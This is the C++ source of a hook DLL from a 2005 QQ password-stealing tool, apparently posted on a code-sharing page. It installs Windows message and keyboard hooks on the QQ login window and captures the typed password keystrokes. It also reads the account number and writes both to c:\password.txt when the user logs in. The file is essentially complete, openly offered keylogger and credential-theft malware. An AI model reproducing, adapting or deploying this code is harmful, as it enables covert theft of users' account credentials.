📄 uihook.cpp
字号:
//UiQQ道 之源代码
//FileName:UiHook.cpp
//Function:钩子程序部分
//author:断水流 中国石油大学(北京)
//HomePage:http://www.uisoft.net
//Date:2005.6.4
//More Information: 8月份推出完美版,请关注http://www.uisoft.net
//E-mail:yuhejun@126.com
#include <windows.h>
#include "uihook.h"
#pragma data_seg("shared")
HHOOK g_hProc = NULL;
HHOOK g_hKey = NULL;
HWND g_hNum = NULL;
HWND g_hPsw = NULL;
PMSG pmsg;
#pragma data_seg()
#pragma comment(linker, "/section:shared,rws")
HINSTANCE g_hInstDLL = NULL;
static i=0;
void GetPasswrod()
{
HANDLE f;
TCHAR num[13];
TCHAR psw[21];
TCHAR total[50];
int j;
memset(num,0,sizeof(num));
memset(total,0,sizeof(total));
memset(psw,0,sizeof(psw));
DWORD dw;
GetWindowText(g_hNum,(LPSTR)num,sizeof(num));
//GetWindowText(g_hPsw,(LPSTR)psw,sizeof(psw));
for(j=0;j<20;j++)
{
psw[j]=(TCHAR)pmsg[j*2].wParam ;
}
psw[j+1]='\0';
f=CreateFile("c:\\password.txt",GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
strcat(total,"号码");
strcat(total,num);
strcat(total,"密码:");
strcat(total,psw);
WriteFile(f,&total,sizeof(total),&dw,NULL);
}
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
{
CWPSTRUCT *p = (CWPSTRUCT *)lParam;
if (p->message == WM_COMMAND && p->wParam ==16032)
GetPasswrod();
return CallNextHookEx(g_hProc, nCode, wParam, lParam);
}
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
pmsg[i].wParam =wParam;
i++;
if (wParam == VK_RETURN)
GetPasswrod();
return CallNextHookEx(g_hKey, nCode, wParam, lParam);
}
BOOL WINAPI SetQQHook(HWND hQQLogin)
{
BOOL bRet = FALSE;
if (hQQLogin != NULL)
{
DWORD dwThreadID = GetWindowThreadProcessId(hQQLogin, NULL);
g_hNum = GetDlgItem(hQQLogin, 138);//不同版本QQ,此处不一样!
g_hPsw = GetDlgItem(hQQLogin, 180); //不同版本QQ,此处不一样!
if (g_hNum == NULL)
{
MessageBox(NULL,"哭了,号码句柄都没有得到!","郁闷",0);
return FALSE;
}
if(g_hPsw==NULL)
{
MessageBox(NULL,"哭了,密码句柄都没有得到!","郁闷",0);
return FALSE;
}
g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
bRet = (g_hProc != NULL) && (g_hKey != NULL);
}
else
{
bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
g_hProc = NULL;
g_hKey = NULL;
g_hNum = NULL;
}
return bRet;
}
BOOL WINAPI DllMain(HINSTANCE hInstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
if (fdwReason == DLL_PROCESS_ATTACH)
{g_hInstDLL = hInstDLL;
pmsg=(PMSG)malloc(20*sizeof(MSG));
}
return TRUE;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -